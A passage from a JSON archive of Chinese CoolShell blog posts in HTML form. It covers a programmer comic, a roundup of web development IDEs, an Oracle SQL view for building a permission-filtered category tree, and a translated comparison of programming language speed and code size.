href=\"https://coolshell.cn/articles/3961.html\">“火柴棍式”程序员面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1626.html\"><img alt=\"ldd 的一个安全问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1626.html\">ldd 的一个安全问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9308.html\"><img alt=\"“作环保的程序员，从不用百度开始”\" height=\"150\" src=\"../wp-content/uploads/2013/03/01-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9308.html\">“作环保的程序员，从不用百度开始”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/410.html\"><img alt=\"1980年和2009年的1GB电脑内存的比较\" height=\"150\" src=\"../wp-content/uploads/2009/04/1gb-computer-memory-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/410.html\">1980年和2009年的1GB电脑内存的比较</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1092.html\">Top 200的全球开发者BLOG</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-30 漫画：程序员的一生.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/06/programmer-life.jpg\"></a> <a href=\"https://coolshell.cn/wp-content/uploads/2009/06/programmer-life.jpg\"><img alt=\"programmer-life\" class=\"alignright size-full wp-image-1102\" height=\"550\" src=\"../wp-content/uploads/2009/06/programmer-life.jpg\" title=\"programmer-life\" width=\"584\"/></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1103.html\">漫画：程序员的一生</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-4 18个Web开发的IDE.html",
    "content": "<html><body><p></p>\n<h3>Windows 下的IDE</h3>\n<h4><a href=\"http://www.microsoft.com/express/vwd/\"><span style=\"color: #468175;\">Visual Web Developer</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"Visual Web Developer\" src=\"http://nettuts.s3.amazonaws.com/341_ides/visual_web_developer.jpg\"/></span></div>\n<ul>\n<li>免费</li>\n</ul>\n<p>Visual Web Developer 是一个简单来说是Visual Studio的一个剥离版本，只有web 开发。和VS一样它有一个很不错的project 管理和数据库工具。这个IDE面对的是初学者。</p>\n<p><span id=\"more-968\"></span></p>\n<h4><a href=\"http://www.mpsoftware.dk/phpdesigner.php\"><span style=\"color: #468175;\">phpDesigner</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"phpDesigner\" src=\"http://nettuts.s3.amazonaws.com/341_ides/phpdesigner.png\"/></span></div>\n<ul>\n<li>75€ (~$105)</li>\n</ul>\n<p><a href=\"http://www.phpeditors.com/\"><span style=\"color: #468175;\">www.phpeditors.com</span></a> 开发的 phpDesigner 是一个五星级的产品。他是一个超级快速的拥有强大功能的PHP的IDE。phpDesigner 提供一PHP调试器和性能分析器。它还支持所有WEB标准的语言。并提供了 TortoiseSVN 支持，并且支持PHP，HTML和CSS的实时的错误检测。还有一个代码片段程序库可以让你容易地获得简单的程序。</p>\n<h4><a href=\"http://www.phpedit.com/\"><span style=\"color: #468175;\">PHPEdit</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"PPEdit\" src=\"http://nettuts.s3.amazonaws.com/341_ides/phpedit.png\"/></span></div>\n<ul>\n<li>179€ (~$248)</li>\n</ul>\n<p>PHPEdit 是另一个漂亮的PHP IDE。它提供了调试器 (甚至有一个 Firefox 调试插件) 和数据库支持 (容易查询和创建数据表) ，还有一个非常不错的keyboard templates 可以让你很快地创建PHP的代码结构。使用PHPEdit可以非常容易地连接到服务器上。而且还有自动提示，自动完成的功能。</p>\n<h4><a href=\"http://www.microsoft.com/visualstudio/en-us/products/standard/default.mspx\"><span style=\"color: #468175;\">Visual Studio 2008</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"Visual Studio 2008\" src=\"http://nettuts.s3.amazonaws.com/341_ides/visual_studio.png\"/></span></div>\n<ul>\n<li>$299 (标准版)</li>\n</ul>\n<p>Visual Studio is 简单的说来是为了.NET 项目而设计的。对于这个IDE，相信大家都很熟悉，我就不多说了。（有谣言说VS 2010要支持PHP，呵呵）</p>\n<h4><a href=\"http://www.microsoft.com/expression/products/overview.aspx?key=web\"><span style=\"color: #468175;\">Expression Web</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"Expression Web\" src=\"http://nettuts.s3.amazonaws.com/341_ides/expression_web.png\"/></span></div>\n<ul>\n<li>$299</li>\n</ul>\n<p>Expression Web 也是一个非常不错的整洁的WEB开发工具。其提供了一大堆CSS 支持。用其开发WEB程序相当方便，只要你愿意，其不但支持ASP.NET，也支持PHP 。而且，其有实时的 (X)HTML 检验。</p>\n<p>最近，Microsoft 放出了<a href=\"http://www.microsoft.com/Expression/features/default.aspx?key=webpreview\"><span style=\"color: #468175;\">Expression Web SuperPreview</span></a>，这是一个可以预览你所开发的网页是否支持IE6, IE7 或是IE8 。</p>\n<h4><a href=\"http://www.nusphere.com/products/phped.htm\"><span style=\"color: #468175;\">PhpEd</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"PhpEd\" src=\"http://nettuts.s3.amazonaws.com/341_ides/phped.jpg\"/></span></div>\n<ul>\n<li>$299</li>\n</ul>\n<p>PhpEd 内建了PHP, HTML, 和CSS 校验器。并提供了代码自动完成的功能。当然，也有PHP代码调试和性能profiling功能。PhpEd 有一个最有创造性的功能是动态的语法高亮。我们想像一下，如果我们有一个文件中有多种语言，这个功能会把你光标所在位置的语言高亮，而其它地方则是一般的文本。</p>\n<h3>Linux 下的 IDE</h3>\n<h4><a href=\"http://bluefish.openoffice.nl/\"><span style=\"color: #468175;\">BlueFish</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"BlueFish\" src=\"http://nettuts.s3.amazonaws.com/341_ides/bluefish.png\"/></span></div>\n<ul>\n<li>免费</li>\n</ul>\n<p>Bluefish 面对的是一个轻量级的干净的IDE。它提供了项目支持，支持远程管理服务器上的文件。有代码自动完成，并且支持 PHP, CSS, Python, 和HTML.</p>\n<h3>Windows 和Mac 的IDE</h3>\n<h4><a href=\"http://www.adobe.com/products/dreamweaver/\"><span style=\"color: #468175;\">Dreamweaver CS4</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"Dreamweaver\" src=\"http://nettuts.s3.amazonaws.com/341_ides/dreamweaver.png\"/></span></div>\n<ul>\n<li>$399</li>\n</ul>\n<p>这个IDE就不多说了，超级强大和超级有名的IDE!</p>\n<h3>Windows, Mac, 和Linux IDEs</h3>\n<h4><a href=\"http://www.eclipse.org/\"><span style=\"color: #468175;\">Eclipse</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"Eclipse\" src=\"http://nettuts.s3.amazonaws.com/341_ides/eclipse.png\"/></span></div>\n<ul>\n<li>免费</li>\n</ul>\n<p>Eclipse 是一个史上最强大的IDE，它几乎可以做所有的事情，并有一堆插件支持。总之一句话，相当强大，无论是Java，PHP，无论是调试还是语法高亮以及其它功能，总之，相当不错。</p>\n<h4><a href=\"http://aptana.com/\"><span style=\"color: #468175;\">Aptana Studio</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"Aptana Studio\" src=\"http://nettuts.s3.amazonaws.com/341_ides/aptana.png\"/></span></div>\n<ul>\n<li>免费</li>\n</ul>\n<p>Aptana Studio 可以独立运行，也可以成为Eclipse 的一个插件。它主张的是——<q>“The Leading IDE for Web App Development.”</q> ，使用其插件，你可以让这个IDE支持PHP, Ruby on Rails, Java, 等等。并也支持很多LIB，如：jQuery, Prototype, YUI, 等等。还有一个SQL 数据库工具，JavaScript 调试。总之，功能太强大了。强大到有些受不了。</p>\n<h4><a href=\"http://www.netbeans.org/\"><span style=\"color: #468175;\">Netbeans</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"Netbeans\" src=\"http://nettuts.s3.amazonaws.com/341_ides/netbeans.png\"/></span></div>\n<ul>\n<li>免费</li>\n</ul>\n<p>这是一个开源的IDE，支持：PHP, Ruby on Rails, JavaScript, 等等。支持FTP 和MySQL。对于PHP，它提供了一个不错的调试器，以及错误警告。Netbeans 也是一个很不错的代码导航器，并整合了，很多framework及其文档，如jQuery 或Mootools.</p>\n<h4><a href=\"http://net2.com/nvu/\"><span style=\"color: #468175;\">Nvu</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"Nvu\" src=\"http://nettuts.s3.amazonaws.com/341_ides/nvu.png\"/></span></div>\n<ul>\n<li>免费</li>\n</ul>\n<p>Nvu 提供一个强大的“所见及所得”功能，其和Dreamweaver 和Expression Web相似，都是强调于编辑功能。</p>\n<h4><a href=\"http://spket.com/\"><span style=\"color: #468175;\">Spket IDE</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"spket IDE\" src=\"http://nettuts.s3.amazonaws.com/341_ides/spket.png\"/></span></div>\n<ul>\n<li>$29.90 (免费的非商业使用)</li>\n</ul>\n<p>Spket 主要面对的是RIA 开发。其主要支持Javascript 和Flex,。</p>\n<h4><a href=\"http://www.jetbrains.com/idea/features/index.html\"><span style=\"color: #468175;\">IntlliJ IDEA</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"IntelliJ IDEA\" src=\"http://nettuts.s3.amazonaws.com/341_ides/intellij_idea.png\"/></span></div>\n<ul>\n<li>$249 (个人版)</li>\n</ul>\n<p>虽然IntelliJ IDEA 量个原生态的 Java 开发IDE，不过其支持一大堆的WEB技术，如HTML ，JavaScript，Flex，和SQL。提供了JavaScript 高度和重构，同样也有代码自动完成。IntelliJ IDEA 还有一个代码检查功能可以提供一些浏览器兼容性检查。</p>\n<h4><a href=\"http://www.activestate.com/komodo/\"><span style=\"color: #468175;\">Komodo IDE</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"Komodo IDE\" src=\"http://nettuts.s3.amazonaws.com/341_ides/komodo_ide.png\"/></span></div>\n<ul>\n<li>$295</li>\n</ul>\n<p>Komodo IDE 面对的是”dynamic languages and open technologies.” 其支持的是标准的WEB语言—HTML, CSS, JavaScript, PHP, 等等。同样也支持Ruby, python, Tcl, 等。这是一个坚固的编辑器。</p>\n<h4><a href=\"http://www.zend.com/en/products/studio/\"><span style=\"color: #468175;\">Zend Studio</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img alt=\"Zend Studio\" src=\"http://nettuts.s3.amazonaws.com/341_ides/zend_studio.png\"/></span></div>\n<ul>\n<li>$399</li>\n</ul>\n<p>Zend Studio 是Eclipse 的插件，当然，它也可以独立成为一个IDE。它主要面对的是PHP开发者。并有一个Zend Framework提供了一堆功能。是个非常成熟的PHP开发的IDE，相当的强大。</p>\n<p>文章：<a href=\"http://net.tutsplus.com/articles/web-roundups/18-ides-for-windows-mac-linux/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/968.html\">18个Web开发的IDE</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-4 【原创】SQL栏目树的代码.html",
    "content": "<html><body><p>本文由网友whl供稿，特此感谢！<br/>\n/**<br/>\n  * Desc: 取栏目树 ,过滤用户权限和无效栏目<br/>\n  * Author: WHL<br/>\n  * Date: 2009-05-31 15:17<br/>\n  */<br/>\n<span id=\"more-962\"></span><br/>\n <br/>\n/** 1. 取某用户有权限（np_cms_column_security表有记录且t.action_1 = ‘1’）的栏目的树 **/</p>\n<pre class=\"EnlighterJSRAW\">create or replace view V_NP_CTREE_BS as\nselect B.* from (\nselect A.*, lag(A.column_id) over(partition by A.column_id order by 0 ) RK\n  from (select /*+choose */\n         t.*\n          from np_cms_column t\n         where t.is_active = '1'\n        connect by prior t.column_id = t.parent_id\n         start with t.column_id in (select t.column_id\n                                      from np_cms_column_security t\n                                     where t.subject_id = 'mazj'\n                                          /*这里添加角色过滤*/\n                                       and t.action_1 = '1'))A) B\n where not exists\n (select 0\n          from (select distinct d.column_id\n                  from np_cms_column d\n                connect by prior d.column_id = d.parent_id\n                 start with d.column_id in\n                    (select t.column_id\n                       from np_cms_column_security t\n                      where t.subject_id = 'mazj'\n                           /* 这里添加角色过滤*/\n                        and t.action_1 = '0'\n                           /* 排除有权限树下的非授权ID,既 Action_1=0的*/\n                        and exists\n                      (select 0\n                               from (select distinct d.column_id\n                                       from np_cms_column d\n                                     connect by prior d.column_id =\n                                                 d.parent_id\n                                      start with d.column_id in\n                                                 (select t.column_id\n                                                    from np_cms_column_security t\n                                                   where t.subject_id =\n                                                         'mazj'\n                                                        /*这里添加角色过滤*/\n                                                     and t.action_1 = '1')) C1\n                              where C1.column_id = t.column_id))\n                        and d.is_active = '1') C\n         where C.column_id = B.column_id and B.RK is null) and B.RK is null\nunion all\nselect c.*, 0 RK from np_cms_column c where c.parent_id = 0;\n</pre>\n<p>————————————————————————<br/>\n/** 2.得到栏目的虚拟父亲ID（考虑到把断层的节点接起来）**/</p>\n<pre class=\"EnlighterJSRAW\">create or replace view V_NP_CTREE_PA as\nselect B.*,\n       (case B.column_id\n         when 1 then 0 else nvl(B.father, 1) end) VFA\n  from (select v.*,\n               (select vv.column_id\n                  from V_NP_CTREE_BS vv\n                 where vv.column_id = v.parent_id) FATHER\n          from V_NP_CTREE_BS v) B;\n</pre>\n<p>————————————————————————<br/>\n/** 3. 取出门户需要的栏目树 **/</p>\n<pre class=\"EnlighterJSRAW\">--create or replace view V_NP_CTREE_RS as\nselect\n D.*, LPAD(' ', 2 * level - 1) || SYS_CONNECT_BY_PATH(D.COLUMN_NAME, '/') &amp;quot;Path&amp;quot;\n  from (select c.*\n          from V_NP_CTREE_PA c\n         order by c.VFA, c.disorder desc, c.column_id desc) D\nconnect by prior D.column_id = D.VFA\n start with D.column_id = 1;\n \n</pre>\n<p>————————————————————————<br/>\n（<strong>本文版权由whl所，转载时请注明作者和出处</strong>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7270.html\"><img alt=\"NoSQL 数据建模技术\" height=\"150\" src=\"../wp-content/uploads/2012/05/overview2-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7270.html\">NoSQL 数据建模技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3463.html\"><img alt=\"图解SQL的Join\" height=\"150\" src=\"../wp-content/uploads/2011/01/Inner_Join-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3463.html\">图解SQL的Join</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3433.html\"><img alt=\"6个有用的MySQL语句\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3433.html\">6个有用的MySQL语句</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/962.html\">【原创】SQL栏目树的代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-6 编程语言的评测.html",
    "content": "<html><body><p><strong>摘要</strong>：这篇文章的原文出处在<a href=\"http://gmarceau.qc.ca/blog/2009/05/speed-size-and-dependability-of.html\">这里</a> 我意译了整篇文章。结合<a href=\"http://shootout.alioth.debian.org/\">计算机语言评测基准</a>这个网站来读此文还是比较有意思。当然也不能以这个评测结果就贸然断定什么语言最好，什么语言不好。没有好不好的语言，只有适不适用于你解决问题域的语言。就文章而言请大家还是不必太过认真，就当从另一个方面来了解一下这33种编程语言吧。</p>\n<p><a href=\"http://shootout.alioth.debian.org/\">计算机语言评测基准</a>是一个由429个程序组成的集合，它评测了33个程序语言的13的重复实现的基准程序。如果你想量化的比较不同语言，那么这个是一个非常不错的资源。</p>\n<p>在计算机评测基准中，评测者为了尽量让评测准确，非常谨慎的选择了13个基准程序，这13个基准程序并不针对某以特定语言有特殊的优化。对于评测选择33中语言都实现了13个基准程序。当然，除了速度这个指标外，程序基准评测同时也为每一个基准测试程序发布一个编码大小指标。非常感谢基准评测让我们看到程序设计中非常重要的一个方面：程序语言的性能和程序语言灵活性之间的矛盾。正是这个矛盾给所谓“高级编程语言”带上一个含蓄的轻蔑的意思。即，当你在使用这些高级语言编码时，你也许可以编写出漂亮的代码，但是你是如此的远离了硬件，你不可能获得更好的性能，是这样的吗？</p>\n<p><span id=\"more-973\"></span></p>\n<p><a href=\"https://coolshell.cn/?attachment_id=976\" rel=\"attachment wp-att-976\"><img alt=\"size-vs-speed-vs-depandability-context-3\" class=\"aligncenter size-full wp-image-976\" height=\"457\" src=\"../wp-content/uploads/2009/06/size-vs-speed-vs-depandability-context-3.png\" title=\"size-vs-speed-vs-depandability-context-3\" width=\"457\"/></a><br/>\n如果我们将基准测试程序的结果放在一张XY的图表上，那么我们就可以为这张表的4个角命名。快速而复杂的语言应积聚在图表的左上角。我们把这类语言称为系统语言。简洁但慢速的语言应该聚集在右下角，我们称之为脚本语言。在右上角，应该是过时的语言。除非这些语言具有非常吸引人的特性，否则语言已经被新出现的语言所淘汰。最后在左下角，基本上找不到对应的语言，因为在这一区域的语言是理想状态的语言。在这个区域的语言是又快又短又利于使用的语言。</p>\n<p>图中每一个小点就代表一种语言的一个基准程序实现，因此这图里面共有429个点，每个点的XY轴分别代表了其和最好的语言实现差距的倍数(从语言的复杂性和语言执行性能来说)，其中一些点比较分散，我们就没有在图中画出。从上面这个图我们可以看到这些粉红色点沿着Y轴(复杂性)比X轴(执行性能)分布更统一，这是不是意味着，人类在提升语言表达的灵活性上还在稳步的不断进步，而在提升语言性能方面却遇到了很多的麻烦呢：）</p>\n<p>针对每一个种语言，比如说scala语言，我们用下面的图来描述：图的中心点，是这个语言测试结果的平均值，然后做每一个评测结果的具体值到这个均值的连线就够成了一个星型图。这个图说明了scala一些特性，在X轴性能上来说，大部分点都分布在靠近左边，说明scala的性能是不错的，如果优化JVM的话，scala可以大部分提高性能，但是scala性能分布并不一致，其中的一个点甚至到了最右边。就语言复杂性(Y轴)来说，scala的表现也不错，不过有时候为了获得高性能，也会导致语言复杂提高，比如scala的其中一个点就在最顶端。</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=974\" rel=\"attachment wp-att-974\"><img alt=\"size-vs-speed-vs-depandability-scala\" class=\"aligncenter size-full wp-image-974\" height=\"358\" src=\"../wp-content/uploads/2009/06/size-vs-speed-vs-depandability-scala.png\" title=\"size-vs-speed-vs-depandability-scala\" width=\"329\"/></a></p>\n<p>通过为每一种语言形成如上的一个图，我们最后可以为这33种语言评的测结果形成了如下的一个图，这是一个6*6的图。其中每一个小图具有同样的轴和同样的精度。这张图的目的是为了方便的比较每一个语言的星型。这些图按语言的平均性能来组织列，最左边的语言的性能最好，最右边的语言性能最差，在每一列中的语言又按照平均的语言代码量(复杂程度)进行排列，代码量最小的语言在最低端，代码量最大的在最顶端。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_975\" style=\"width: 275px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-2009.png\" title=\"点击看大图\"><img alt=\"size-vs-speed-vs-depandability-2009\" class=\"size-medium wp-image-975\" height=\"300\" src=\"../wp-content/uploads/2009/06/size-vs-speed-vs-depandability-2009-275x300.png\" title=\"size-vs-speed-vs-depandability-2009\" width=\"275\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-975\">点击看大图</figcaption></figure>\n<p>在图的最左边的性能是最好的，又高又瘦的星型，我们可以看到，除了GCC和G++外，其他的性能都显示了惊人的一致性(每一个基准测试程序的性能都非常接近)。而JAVA也非常骄傲的出现在一组中，这说明经过了10年的优化后，Java运行时的性能已经得到长足的提高(要用Java做大系统的人是否还会犹豫呢：）)。<br/>\n在图的右边，我们看到了一些又胖又矮的星型，这些是一些脚本语言，从图中可以看出，这些脚本语言社区的人们当他们在不断改善他们语言的表达性的同时并没有花大力气在性能的改善上。然而也有例外，Lua这门脚本语言就有很好的执行性能。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a 